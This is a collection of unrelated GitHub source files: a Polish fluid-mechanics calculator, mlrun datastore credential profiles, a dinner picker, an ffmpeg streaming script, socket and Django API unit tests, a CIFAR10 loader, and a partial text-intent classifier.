you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation; either version 2 of the License, or\r\n# (at your option) any later version.\r\n# \r\n# This program is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n# \r\n# You should have received a copy of the GNU General Public License\r\n# along with this program; if not, write to the Free Software\r\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\r\n# MA 02110-1301, USA.\r\n# \r\n# \r\n\r\nfrom lab_03_04_01 import getWspF\r\nfrom math import pi\r\n\r\ndef main(args):\r\n L=float(input(\"Wprowadź długość rury L[m]: \"))\r\n D=float(input(\"Wprowadź średnicę rury D[mm]: \"))\r\n D/=1000\r\n e=float(input(\"Wprowadź chropowatość ścianki e[mm]: \"))\r\n e/=1000\r\n rho=float(input(\"Wprowadź gęstość medium rho[kg/m^3]: \"))\r\n my=float(input(\"Wprowadź lepkość medium my[Pa*s]: \"))\r\n vOrQ=input(\"Znasz prędkość medium v[m/s], czy wydatek objętościowy przepływu Q[m^3/s]? (v/Q): \")\r\n if vOrQ==\"v\":\r\n v=float(input(\"Wprowadź prędkość medium v[m/s]: \"))\r\n else:\r\n Q=float(input(\"Wprowadź wydatek objętościowy przepływu Q[m^3/s]: \"))\r\n v=4*Q/pi/D**2\r\n \r\n Re=v*D*rho/my\r\n print(\"Liczba Reynoldsa: Re=%s\" % Re)\r\n if Re<2300:\r\n print(\"(przepływ laminarny)\")\r\n f=64/Re\r\n elif Re<4000:\r\n print(\"(przepływ przejściowy)\")\r\n f=(2.82e-7)*Re**1.5\r\n else:\r\n print(\"(przepływ turbulentny)\")\r\n f=getWspF(Re,e/D,-1,-1)\r\n \r\n Dp=0.5*f*L/D*rho*v**2\r\n hf=Dp/rho/9.81\r\n print(\"Różnica ciśnień wynosi: Dp=%s[Pa], wysokość strat tarcia: hf=%s[m].\" % (Dp,hf)) \r\n \r\n return 0\r\n\r\nif __name__ == '__main__':\r\n import sys\r\n sys.exit(main(sys.argv))\r\n","repo_name":"Billy0123/fluid-mechanics","sub_path":"lab_03_04_02.py","file_name":"lab_03_04_02.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"22353220305","text":"import ast\nimport base64\nimport json\nimport typing\nfrom urllib.parse import ParseResult, urlparse, urlunparse\n\nimport pydantic\nfrom mergedeep import merge\n\nimport mlrun\nimport mlrun.errors\n\nfrom ..secrets import get_secret_or_env\n\n\nclass DatastoreProfile(pydantic.BaseModel):\n type: str\n name: str\n _private_attributes: typing.List = ()\n\n @pydantic.validator(\"name\")\n def lower_case(cls, v):\n return v.lower()\n\n @staticmethod\n def generate_secret_key(profile_name: str, project: str):\n secret_name_separator = \".\"\n full_key = (\n \"datastore-profiles\"\n + secret_name_separator\n + project\n + secret_name_separator\n + profile_name\n )\n return full_key\n\n def secrets(self) -> dict:\n return None\n\n def url(self, subpath) -> str:\n return None\n\n\nclass TemporaryClientDatastoreProfiles(metaclass=mlrun.utils.singleton.Singleton):\n def __init__(self):\n self._data = {} # Initialize the dictionary\n\n def add(self, profile: DatastoreProfile):\n self._data[profile.name] = profile\n\n def get(self, key):\n return self._data.get(key, None)\n\n\nclass DatastoreProfileBasic(DatastoreProfile):\n type: str = pydantic.Field(\"basic\")\n _private_attributes = \"private\"\n public: str\n private: typing.Optional[str] = None\n\n\nclass DatastoreProfileKafkaTarget(DatastoreProfile):\n type: str = pydantic.Field(\"kafka_target\")\n _private_attributes = \"kwargs_private\"\n bootstrap_servers: str\n topic: str\n kwargs_public: typing.Optional[typing.Dict]\n kwargs_private: typing.Optional[typing.Dict]\n\n def attributes(self):\n attributes = {\"bootstrap_servers\": self.bootstrap_servers}\n if self.kwargs_public:\n attributes = merge(attributes, self.kwargs_public)\n if self.kwargs_private:\n attributes = merge(attributes, self.kwargs_private)\n return attributes\n\n\nclass DatastoreProfileKafkaSource(DatastoreProfile):\n type: str = pydantic.Field(\"kafka_source\")\n _private_attributes = (\"kwargs_private\", \"sasl_user\", \"sasl_pass\")\n brokers: typing.Union[str, typing.List[str]]\n topics: typing.Union[str, typing.List[str]]\n group: typing.Optional[str] = \"serving\"\n initial_offset: typing.Optional[str] = \"earliest\"\n partitions: typing.Optional[typing.Union[str, typing.List[str]]]\n sasl_user: typing.Optional[str]\n sasl_pass: typing.Optional[str]\n kwargs_public: typing.Optional[typing.Dict]\n kwargs_private: typing.Optional[typing.Dict]\n\n def attributes(self):\n attributes = {}\n if self.kwargs_public:\n attributes = merge(attributes, self.kwargs_public)\n if self.kwargs_private:\n attributes = merge(attributes, self.kwargs_private)\n\n topics = [self.topics] if isinstance(self.topics, str) else self.topics\n brokers = [self.brokers] if isinstance(self.brokers, str) else self.brokers\n\n attributes[\"brokers\"] = brokers\n attributes[\"topics\"] = topics\n attributes[\"group\"] = self.group\n attributes[\"initial_offset\"] = self.initial_offset\n if self.partitions is not None:\n attributes[\"partitions\"] = self.partitions\n sasl = attributes.pop(\"sasl\", {})\n if self.sasl_user and self.sasl_pass:\n sasl[\"enabled\"] = True\n sasl[\"user\"] = self.sasl_user\n sasl[\"password\"] = self.sasl_pass\n if sasl:\n attributes[\"sasl\"] = sasl\n return attributes\n\n\nclass DatastoreProfileS3(DatastoreProfile):\n type: str = pydantic.Field(\"s3\")\n _private_attributes = (\"access_key\", \"secret_key\")\n endpoint_url: typing.Optional[str] = None\n force_non_anonymous: typing.Optional[str] = None\n profile_name: typing.Optional[str] = None\n assume_role_arn: typing.Optional[str] = None\n access_key: typing.Optional[str] = None\n secret_key: typing.Optional[str] = None\n\n def secrets(self) -> dict:\n res = {}\n if self.access_key:\n res[\"AWS_ACCESS_KEY_ID\"] = self.access_key\n if self.secret_key:\n res[\"AWS_SECRET_ACCESS_KEY\"] = self.secret_key\n if self.endpoint_url:\n res[\"S3_ENDPOINT_URL\"] = self.endpoint_url\n if self.force_non_anonymous:\n res[\"S3_NON_ANONYMOUS\"] = self.force_non_anonymous\n if self.profile_name:\n res[\"AWS_PROFILE\"] = self.profile_name\n if self.assume_role_arn:\n res[\"MLRUN_AWS_ROLE_ARN\"] = self.assume_role_arn\n return res if res else None\n\n def url(self, subpath):\n return f\"s3:/{subpath}\"\n\n\nclass DatastoreProfileRedis(DatastoreProfile):\n type: str = pydantic.Field(\"redis\")\n _private_attributes = (\"username\", \"password\")\n endpoint_url: str\n username: typing.Optional[str] = None\n password: typing.Optional[str] = None\n\n def url_with_credentials(self):\n parsed_url = urlparse(self.endpoint_url)\n username = self.username\n password = self.password\n netloc = parsed_url.hostname\n if username:\n if password:\n netloc = f\"{username}:{password}@{parsed_url.hostname}\"\n else:\n netloc = f\"{username}@{parsed_url.hostname}\"\n\n if parsed_url.port:\n netloc += f\":{parsed_url.port}\"\n\n new_parsed_url = ParseResult(\n scheme=parsed_url.scheme,\n netloc=netloc,\n path=parsed_url.path,\n params=parsed_url.params,\n query=parsed_url.query,\n fragment=parsed_url.fragment,\n )\n return urlunparse(new_parsed_url)\n\n def secrets(self) -> dict:\n res = {}\n if self.username:\n res[\"REDIS_USER\"] = self.username\n if self.password:\n res[\"REDIS_PASSWORD\"] = self.password\n return res if res else None\n\n def url(self, subpath):\n return self.endpoint_url + subpath\n\n\nclass DatastoreProfileDBFS(DatastoreProfile):\n type: str = pydantic.Field(\"dbfs\")\n _private_attributes = (\"token\",)\n endpoint_url: typing.Optional[str] = None # host\n token: typing.Optional[str] = None\n\n def url(self, subpath) -> str:\n return f\"dbfs://{subpath}\"\n\n def secrets(self) -> dict:\n res = {}\n if self.token:\n res[\"DATABRICKS_TOKEN\"] = self.token\n if self.endpoint_url:\n res[\"DATABRICKS_HOST\"] = self.endpoint_url\n return res if res else None\n\n\nclass DatastoreProfileGCS(DatastoreProfile):\n type: str = pydantic.Field(\"gcs\")\n _private_attributes = (\"gcp_credentials\",)\n credentials_path: typing.Optional[str] = None # path to file.\n gcp_credentials: typing.Optional[str] = None\n\n def url(self, subpath) -> str:\n if subpath.startswith(\"/\"):\n # in gcs the path after schema is starts with bucket, wherefore it should not start with \"/\".\n subpath = subpath[1:]\n return f\"gcs://{subpath}\"\n\n def secrets(self) -> dict:\n res = {}\n if self.credentials_path:\n res[\"GOOGLE_APPLICATION_CREDENTIALS\"] = self.credentials_path\n if self.gcp_credentials:\n res[\"GCP_CREDENTIALS\"] = self.gcp_credentials\n return res if res else None\n\n\nclass DatastoreProfileAzureBlob(DatastoreProfile):\n type: str = pydantic.Field(\"az\")\n _private_attributes = (\n \"connection_string\",\n \"account_key\",\n \"client_secret\",\n \"sas_token\",\n \"credential\",\n )\n connection_string: typing.Optional[str] = None\n account_name: typing.Optional[str] = None\n account_key: typing.Optional[str] = None\n tenant_id: typing.Optional[str] = None\n client_id: typing.Optional[str] = None\n client_secret: typing.Optional[str] = None\n sas_token: typing.Optional[str] = None\n credential: typing.Optional[str] = None\n\n def url(self, subpath) -> str:\n if subpath.startswith(\"/\"):\n # in azure the path after schema is starts with bucket, wherefore it should not start with \"/\".\n subpath = subpath[1:]\n return f\"az://{subpath}\"\n\n def secrets(self) -> dict:\n res = {}\n if self.connection_string:\n res[\"connection_string\"] = self.connection_string\n if self.account_name:\n res[\"account_name\"] = self.account_name\n if self.account_key:\n res[\"account_key\"] = self.account_key\n if self.tenant_id:\n res[\"tenant_id\"] = self.tenant_id\n if self.client_id:\n res[\"client_id\"] = self.client_id\n if self.client_secret:\n res[\"client_secret\"] = self.client_secret\n if self.sas_token:\n res[\"sas_token\"] = self.sas_token\n if self.credential:\n res[\"credential\"] = self.credential\n return res if res else None\n\n\nclass DatastoreProfile2Json(pydantic.BaseModel):\n @staticmethod\n def _to_json(attributes):\n # First, base64 encode the values\n encoded_dict = {\n k: base64.b64encode(str(v).encode()).decode() for k, v in attributes.items()\n }\n # Then, return the dictionary as a JSON string with no spaces\n return json.dumps(encoded_dict).replace(\" \", \"\")\n\n @staticmethod\n def get_json_public(profile: DatastoreProfile) -> str:\n return DatastoreProfile2Json._to_json(\n {\n k: v\n for k, v in profile.dict().items()\n if not str(k) in profile._private_attributes\n }\n )\n\n @staticmethod\n def get_json_private(profile: DatastoreProfile) -> str:\n return DatastoreProfile2Json._to_json(\n {\n k: v\n for k, v in profile.dict().items()\n if str(k) in profile._private_attributes\n }\n )\n\n @staticmethod\n def create_from_json(public_json: str, private_json: str = \"{}\"):\n attributes = json.loads(public_json)\n attributes_public = {\n k: base64.b64decode(str(v).encode()).decode() for k, v in attributes.items()\n }\n attributes = json.loads(private_json)\n attributes_private = {\n k: base64.b64decode(str(v).encode()).decode() for k, v in attributes.items()\n }\n decoded_dict = merge(attributes_public, attributes_private)\n\n def safe_literal_eval(value):\n try:\n return ast.literal_eval(value)\n except (ValueError, SyntaxError):\n return value\n\n decoded_dict = {k: safe_literal_eval(v) for k, v in decoded_dict.items()}\n datastore_type = decoded_dict.get(\"type\")\n ds_profile_factory = {\n \"s3\": DatastoreProfileS3,\n \"redis\": DatastoreProfileRedis,\n \"basic\": DatastoreProfileBasic,\n \"kafka_target\": DatastoreProfileKafkaTarget,\n \"kafka_source\": DatastoreProfileKafkaSource,\n \"dbfs\": DatastoreProfileDBFS,\n \"gcs\": DatastoreProfileGCS,\n }\n if datastore_type in ds_profile_factory:\n return ds_profile_factory[datastore_type].parse_obj(decoded_dict)\n else:\n if datastore_type:\n reason = f\"unexpected type '{decoded_dict['type']}'\"\n else:\n reason = \"missing type\"\n raise mlrun.errors.MLRunInvalidArgumentError(\n f\"Datastore profile failed to create from json due to {reason}\"\n )\n\n\ndef datastore_profile_read(url):\n parsed_url = urlparse(url)\n if parsed_url.scheme.lower() != \"ds\":\n raise mlrun.errors.MLRunInvalidArgumentError(\n f\"resource URL '{url}' cannot be read as a datastore profile because its scheme is not 'ds'\"\n )\n\n profile_name = parsed_url.hostname\n project_name = parsed_url.username or mlrun.mlconf.default_project\n datastore = TemporaryClientDatastoreProfiles().get(profile_name)\n if datastore:\n return datastore\n public_profile = mlrun.db.get_run_db().get_datastore_profile(\n profile_name, project_name\n )\n project_ds_name_private = DatastoreProfile.generate_secret_key(\n profile_name, project_name\n )\n private_body = get_secret_or_env(project_ds_name_private)\n if not public_profile or not private_body:\n raise mlrun.errors.MLRunInvalidArgumentError(\n f\"Unable to retrieve the datastore profile '{url}' from either the server or local environment.\"\n \"Make sure the profile is registered correctly, or if running in a local environment,\"\n \"use register_temporary_client_datastore_profile() to provide credentials locally.\"\n )\n\n datastore = DatastoreProfile2Json.create_from_json(\n public_json=DatastoreProfile2Json.get_json_public(public_profile),\n private_json=private_body,\n )\n return datastore\n\n\ndef register_temporary_client_datastore_profile(profile: DatastoreProfile):\n \"\"\"Register the datastore profile.\n This profile is temporary and remains valid only for the duration of the caller's session.\n It's beneficial for testing purposes.\n \"\"\"\n TemporaryClientDatastoreProfiles().add(profile)\n\n\ndef datastore_profile_embed_url_scheme(url):\n profile = datastore_profile_read(url)\n parsed_url = urlparse(url)\n scheme = profile.type\n # Add scheme as a password to the network location part\n netloc = f\"{parsed_url.username or ''}:{scheme}@{parsed_url.netloc}\"\n\n # Construct the new URL\n new_url = urlunparse(\n [\n parsed_url.scheme,\n netloc,\n parsed_url.path,\n parsed_url.params,\n parsed_url.query,\n parsed_url.fragment,\n ]\n )\n return new_url\n","repo_name":"mlrun/mlrun","sub_path":"mlrun/datastore/datastore_profile.py","file_name":"datastore_profile.py","file_ext":"py","file_size_in_byte":13703,"program_lang":"python","lang":"en","doc_type":"code","stars":1129,"dataset":"github-code","pt":"36"} +{"seq_id":"32293803268","text":"from pickle import TRUE\nimport string\nimport random\n\nwhile True:\n print(\"What Do You Want To Eat?\")\n Dinner_List = (\"StirFry\", \"TacoSalad\", \"Burgers with\", \"Curry\", \"Steak with\", \"Wings with\",\"Chicken with\")\n Veggie_List = (\" Brocoli\", \" Corn\", \"Carrots\", \" Brussel Sprouts\", \" Zucchini\", \" Asparagus\")\n\n user_action = input('Pick a number between 1 - 5:')\n possible_actions = (\"Burgers with\", \"Steak with\", \"Wings with\", \"Chicken with\",)\n computer_actions = random.choice(Dinner_List)\n computer_action = random.choice(Veggie_List)\n\n print(computer_actions)\n\n if computer_actions == \"Burgers with\": \n print(computer_action)\n \n if computer_actions == \"Steak with\": \n print(computer_action)\n \n if computer_actions == \"Wings with\": \n print(computer_action)\n\n if computer_actions == \"Chicken with\": \n print(computer_action)\n \n Choose_Again = input('Choose Again? (y/n)')\n if Choose_Again.lower() != \"y\":\n break\n\n\n","repo_name":"JeBeaz/Python","sub_path":"Random Dinner Decider.py","file_name":"Random Dinner Decider.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"7386049640","text":"import ffmpeg\nimport requests\nimport os\nimport jsonpickle\nfrom shared_model.ingest_info import IngestInfo\n\nVIDEO_PATH = '/home/nemanja/Videos/sample_video.mp4'\nINGEST_PATH = 'rtmp://172.17.0.2:9991/live/stream'\n\nAPI_URL = 'http://localhost:8000/create?user_id=user_id_1&stream_title=stream_title_1'\n\n# this should do the same thing as ../publish_stream.sh but somehow it doesn't work\n# process = (\n# ffmpeg\n# .input(VIDEO_PATH)\n# .output(\n# INGEST_PATH,\n# codec=\"copy\", # use same codecs of the original video\n# f='flv',\n# # vcodec='libx264',\n# # pix_fmt='yuv420p',\n# # preset='veryfast',\n# # r='20',\n# # g='50',\n# # video_bitrate='1.4M',\n# # maxrate='2M',\n# # bufsize='2M',\n# segment_time='6')\n# .global_args(\"-re\") # argument to act as a live stream\n# .run_async()\n# )\n\nresponse = requests.get(API_URL)\n\nif response.status_code != 200:\n print(\"Ingest request failed\")\n print(\"Response: \" + str(response.status_code))\n print(\"Streamer exiting ... \")\n\n exit(1)\n\njson_response: IngestInfo = jsonpickle.decode(response.content)\n\nprint(\"Ingest request was successful\")\nprint(\"Will stream video ... \")\n\ningest_address = 'rtmp://' + json_response.ip + ':' + \\\n str(json_response.port) + '/' + json_response.stream_key\n\nos.system('../publish_stream.sh ' + VIDEO_PATH + ' ' + ingest_address)\n","repo_name":"SaltyPretzel303/session-local","sub_path":"utils/streamer.py","file_name":"streamer.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"41276818859","text":"import unittest\nimport vdebug.connection\n\nclass SocketMockError():\n pass\n\nclass SocketMock():\n def __init__(self):\n self.response = []\n self.last_msg = []\n\n def recv(self,length):\n ret = self.response[0]\n if len(ret) >= length:\n chars = ret[0:length]\n newval = ret[length:]\n if len(newval) > 0:\n self.response[0] = newval\n else:\n self.response.pop(0)\n if (length == 1):\n return b\"\".join(chars)\n else :\n return b''.join(chars)\n #if type(chars[0]) is int:\n # print(\"len same as length\")\n # print(ret[0:length])\n # return b''.join([bytes(i) for i in chars])\n # return b\"\".join(chars)\n #else:\n # return b\"\".join(chars)\n else:\n self.response.pop(0)\n return b''\n\n def add_response(self,res):\n digitlist = []\n for i in str(res):\n digitlist.append(bytes(i, \"utf8\"))\n self.response.append(digitlist)\n\n #res = bytes(res, 'utf8')\n #self.response.append(list(res))\n self.response.append([b'\\x00'])\n\n def send(self,msg):\n self.last_msg.append( msg )\n return len(msg)\n\n def get_last_sent(self):\n last = self.last_msg\n self.last_msg = [];\n return b''.join(last).decode('UTF-8')\n\n def close(self):\n pass\n\n\nclass ConnectionTest(unittest.TestCase):\n\n def setUp(self):\n self.conn = vdebug.connection.ConnectionHandler('', 0)\n self.conn.sock = SocketMock()\n\n \"\"\"\n Test that the recv_msg method reads from the socket object.\n\n The socket's recv() method is called for three purposes\n 1. Message length\n 2. Message body\n 3. A finishing null byte\n \"\"\"\n def test_read(self):\n self.conn.sock.add_response(3)\n self.conn.sock.add_response('foo')\n self.conn.sock.add_response('\\0')\n\n response = self.conn.recv_msg()\n assert response == 'foo'\n\n \"\"\"\n Test a longer read.\n \"\"\"\n def test_read_long(self):\n self.conn.sock.add_response(24)\n self.conn.sock.add_response('this is a longer message')\n self.conn.sock.add_response('\\0')\n\n response = self.conn.recv_msg()\n assert response == 'this is a longer message'\n\n \"\"\"\n Test that an EOFError is raised if the socket appears to be closed.\n \"\"\"\n def test_read_eof(self):\n self.conn.sock.add_response('')\n self.assertRaises(EOFError,self.conn.recv_msg)\n\n \"\"\"\n Test that the send_msg command calls send on the socket,\n and adds a null byte to the string.\n \"\"\"\n def test_send(self):\n cmd = 'this is a cmd'\n self.conn.send_msg(cmd)\n sent = self.conn.sock.get_last_sent()\n assert sent == cmd+'\\0'\n","repo_name":"vim-vdebug/vdebug","sub_path":"tests/test_connection.py","file_name":"test_connection.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":1297,"dataset":"github-code","pt":"36"} +{"seq_id":"14138847937","text":"from torchvision.datasets import CIFAR10\nfrom torchvision import transforms\nfrom .datapath import get_data_folder\n\n\ndef get_dataset(dpath=None, ):\n dpath = get_data_folder()\n dataset = CIFAR10(dpath + '/CIFAR10', train=True,\n transform=transforms.Compose([transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize(\n mean=(0.5, 0.5, 0.5),\n std=(0.5, 0.5, 0.5)),\n ]), download=True)\n return dataset\n\n\nif __name__ == '__main__':\n dataset = get_dataset()\n print(len(dataset))\n d, l = dataset[0]\n print(d.shape, d.min(), d.max())\n","repo_name":"hehaodele/ProbGAN","sub_path":"datasets/my_cifar10.py","file_name":"my_cifar10.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"36"} +{"seq_id":"2445469210","text":"from datetime import datetime\n\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.utils import timezone\nfrom pytz import UTC\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.test import APIClient\n\nfrom blog.models import Post\n\nclass PostApiTestCase(TestCase):\n def setUp(self):\n self.u1 = get_user_model().objects.create_user(\n email=\"test@example.com\", password=\"password\"\n )\n\n self.u2 = get_user_model().objects.create_user(\n email=\"test2@example.com\", password=\"password2\"\n )\n\n posts = [\n Post.objects.create(\n author=self.u1,\n published_at=timezone.now(),\n title=\"Post 1 Title\",\n slug=\"post-1-slug\",\n summary=\"Post 1 Summary\",\n content=\"Post 1 Content\",\n ),\n Post.objects.create(\n author=self.u2,\n published_at=timezone.now(),\n title=\"Post 2 Title\",\n slug=\"post-2-slug\",\n summary=\"Post 2 Summary\",\n content=\"Post 2 Content\",\n ),\n ]\n\n # let us look up the post info by ID\n self.post_lookup = {p.id: p for p in posts}\n\n # override test client\n self.client = APIClient()\n token = Token.objects.create(user=self.u1)\n self.client.credentials(HTTP_AUTHORIZATION=\"Token \" + token.key)\n\n # Queries the Post objects that were inserted in setUp using the API,\n # Then checks that their data matches expected data.\n def test_post_list(self):\n resp = self.client.get(\"/api/v1/posts/\")\n data = resp.json()[\"results\"]\n self.assertEqual(len(data), 2)\n\n for post_dict in data:\n post_obj = self.post_lookup[post_dict[\"id\"]]\n self.assertEqual(post_obj.title, post_dict[\"title\"])\n self.assertEqual(post_obj.slug, post_dict[\"slug\"])\n self.assertEqual(post_obj.summary, post_dict[\"summary\"])\n self.assertEqual(post_obj.content, post_dict[\"content\"])\n self.assertTrue(\n post_dict[\"author\"].endswith(f\"/api/v1/users/{post_obj.author.email}\")\n )\n self.assertEqual(\n post_obj.published_at,\n datetime.strptime(\n post_dict[\"published_at\"], \"%Y-%m-%dT%H:%M:%S.%fZ\"\n ).replace(tzinfo=UTC),\n )\n\n\n\n def test_unauthenticated_post_create(self):\n # unset credentials so we are an anonymous user\n self.client.credentials()\n post_dict = {\n \"title\": \"Test Post\",\n \"slug\": \"test-post-3\",\n \"summary\": \"Test Summary\",\n \"content\": \"Test Content\",\n \"author\": \"http://testserver/api/v1/users/test@example.com\",\n \"published_at\": \"2021-01-10T09:00:00Z\",\n }\n resp = self.client.post(\"/api/v1/posts/\", post_dict)\n self.assertEqual(resp.status_code, 401)\n self.assertEqual(Post.objects.all().count(), 2)\n\n\n\n # Creates a post through the API then queries and checks the database for it, using Post.id (that was returned after creating it)\n def test_post_create(self):\n post_dict = {\n \"title\": \"Test Post\",\n \"slug\": \"test-post-3\",\n \"summary\": \"Test Summary\",\n \"content\": \"Test Content\",\n \"author\": \"http://testserver/api/v1/users/test@example.com\",\n \"published_at\": \"2021-01-10T09:00:00Z\",\n }\n resp = self.client.post(\"/api/v1/posts/\", post_dict)\n post_id = resp.json()[\"id\"]\n post = Post.objects.get(pk=post_id)\n self.assertEqual(post.title, post_dict[\"title\"])\n self.assertEqual(post.slug, post_dict[\"slug\"])\n self.assertEqual(post.summary, post_dict[\"summary\"])\n self.assertEqual(post.content, post_dict[\"content\"])\n self.assertEqual(post.author, self.u1)\n self.assertEqual(post.published_at, datetime(2021, 1, 10, 9, 0, 0, tzinfo=UTC))","repo_name":"Trianglium/blango","sub_path":"blog/test_post_api.py","file_name":"test_post_api.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"33553702521","text":"from sklearn.naive_bayes import GaussianNB,MultinomialNB,BernoulliNB\nfrom sklearn import svm,neighbors,tree\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nimport os\nimport numpy as np\nfrom sklearn.metrics import classification_report,precision_recall_fscore_support\nimport jieba\nfrom sklearn.feature_extraction.text import CountVectorizer,TfidfVectorizer,TfidfTransformer\nfrom sklearn.externals import joblib\nimport logging\nimport sys\nsys.path.append('./')\nfrom IntentConfig import Config\nsys.path.append('../../')\nconfig=Config()\nPATH=os.path.split(os.path.split(os.path.split(os.path.realpath(__file__))[0])[0])[0] #根目录\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filemode='w')\n_logger = logging.getLogger(\"intent_ml\")\njieba.load_userdict(PATH+'/entity_type_%s.txt'%config.entity_level)\nclassifiers=['NB','SVM','LR','DT','RF']\n\n\nclass IntentMl(object):\n\n def __init__(self,class_name):\n self.class_name=class_name\n self.id2intent={}\n self.id2sent={}\n self.mod='train'\n\n if self.mod=='train':\n pass\n else:\n if os.path.exists(PATH+'/save_model/ml_model'):\n try:\n self.count_vect = joblib.load(PATH+'/save_model/ml_model/count_vect_%s.pkl'%config.save_model_name)\n self.NB_clf = joblib.load(PATH+'/save_model/ml_model/NB_model_%s.pkl'%config.save_model_name)\n self.SVM_clf = joblib.load(PATH+'/save_model/ml_model/SVM_model_%s.pkl'%config.save_model_name)\n self.LR_clf = joblib.load(PATH+'/save_model/ml_model/LR_model_%s.pkl'%config.save_model_name)\n self.RF_clf = joblib.load(PATH+'/save_model/ml_model/RF_model_%s.pkl'%config.save_model_name)\n self.DT_clf = joblib.load(PATH+'/save_model/ml_model/DT_model_%s.pkl'%config.save_model_name)\n except Exception as ex:\n _logger.info('%s',ex)\n else:\n os.mkdir(PATH+'/save_model/ml_model')\n\n\n def pre_data(self,train_file,dev_file,max_len=10):\n\n train_data_sent=[]\n train_data_label=[]\n\n dev_data_sent=[]\n dev_data_label=[]\n sent_dict={'none':0}\n label_dict={}\n sent_index=1\n label_index=0\n\n for line in open(train_file,'r').readlines():\n try:\n line=line.replace('\\n','').replace('bos','').replace('eos','').strip()\n sent=str(line.split('\\t')[1])\n labels=line.split('\\t')[3].strip()\n iter_sent=' '.join([e for e in jieba.cut(''.join(sent.split(' ')))])\n train_data_sent.append(iter_sent)\n train_data_label.append(labels.split(' ')[0])\n except:\n print(line)\n\n\n for line in open(dev_file,'r').readlines():\n line = line.replace('\\n', '').replace('bos', '').replace('eos', '')\n sent=line.split('\\t')[1]\n labels=line.split('\\t')[3].strip()\n iter_sent=' '.join([e for e in jieba.cut(''.join(sent.split(' ')))])\n\n for word in jieba.cut(''.join(sent.split(' '))):\n if word not in sent_dict:\n sent_dict[word]=sent_index\n sent_index+=1\n\n\n for ll in labels.split(' '):\n if ll not in label_dict:\n label_dict[ll]=label_index\n label_index+=1\n\n dev_data_sent.append(iter_sent)\n dev_data_label.append(ll)\n\n for k,v in label_dict.items():\n self.id2intent[v]=k\n\n for k,v in sent_dict.items():\n self.id2sent[v]=k\n\n return train_data_sent,train_data_label,dev_data_sent,dev_data_label\n\n\n def build_model(self):\n\n train_file=PATH+'/corpus_data/%s'%config.train_name\n dev_file=PATH+'/corpus_data/%s'%config.dev_name\n train_x,self.train_y,dev_x,self.dev_y=self.pre_data(train_file,dev_file)\n\n self.count_vec = CountVectorizer()\n # self.count_vec=TfidfVectorizer()\n self.X_count_train = self.count_vec.fit_transform(train_x)\n\n self.X_count_dev=self.count_vec.transform(dev_x)\n joblib.dump(self.count_vec, PATH+'/save_model/ml_model/count_vect_%s.pkl'%config.save_model_name)\n\n\n def _train(self,classifier_name):\n\n out={}\n clf = GaussianNB()\n if classifier_name=='NB':\n clf = GaussianNB() # 默认\n elif classifier_name=='SVM':\n clf = svm.LinearSVC(C=0.5,loss='hinge')\n # elif classifier_name=='KNN':\n # clf = neighbors.KNeighborsClassifier()\n elif classifier_name == 'LR':\n clf = LogisticRegression(penalty='l2')\n elif classifier_name=='RF':\n clf = RandomForestClassifier(n_estimators=300)\n elif classifier_name=='DT':\n clf = tree.DecisionTreeClassifier()\n else:\n _logger.error('没有该类别')\n clf.fit(self.X_count_train.toarray(), self.train_y)\n joblib.dump(clf, PATH+'/save_model/ml_model/%s_model_%s.pkl' % (classifier_name,config.save_model_name))\n\n predict_train_y = clf.predict(self.X_count_train.toarray())\n p, r, f, s = precision_recall_fscore_support(self.train_y, predict_train_y)\n avg_p = np.mean(p)\n avg_r = np.mean(r)\n avg_f = np.mean(f)\n _logger.info(\n '%s avg_train_precision:%s avg_train_recall:%s avg_train_f:%s' % (classifier_name, avg_p, avg_r, avg_f))\n\n predict_dev_y = clf.predict(self.X_count_dev.toarray())\n p_dev, r_dev, f_dev, s_dev = precision_recall_fscore_support(self.dev_y, predict_dev_y)\n avg_p_dev = np.mean(p_dev)\n avg_r_dev = np.mean(r_dev)\n avg_f_dev = np.mean(f_dev)\n _logger.info(\n '%s avg_dev_precision:%s avg_dev_recall:%s avg_dev_f:%s' % (\n classifier_name, avg_p_dev, avg_r_dev, avg_f_dev))\n _logger.info('\\n')\n\n out={classifier_name:{'train_precision':avg_p,'train_recall':avg_r,'dev_precision':avg_p_dev,'dev_recall':avg_r_dev}}\n yield out\n\n def infer(self,sent_list,classifier_name='ALL'):\n '''\n 推断模块 如果classifier_name=All\n :param sent_list:\n :param classifier_name: if ALL 使用所有模型\n :return:\n '''\n if os.path.exists(PATH + '/save_model/ml_model'):\n try:\n self.count_vect = joblib.load(PATH + '/save_model/ml_model/count_vect_%s.pkl'%config.save_model_name)\n self.NB_clf = joblib.load(PATH + '/save_model/ml_model/NB_model_%s.pkl'%config.save_model_name)\n self.SVM_clf = joblib.load(PATH + '/save_model/ml_model/SVM_model_%s.pkl'%config.save_model_name)\n self.LR_clf = joblib.load(PATH + '/save_model/ml_model/LR_model_%s.pkl'%config.save_model_name)\n self.RF_clf = joblib.load(PATH + '/save_model/ml_model/RF_model_%s.pkl'%config.save_model_name)\n self.DT_clf = joblib.load(PATH + '/save_model/ml_model/DT_model_%s.pkl'%config.save_model_name)\n except Exception as ex:\n _logger.info('%s'%ex)\n\n 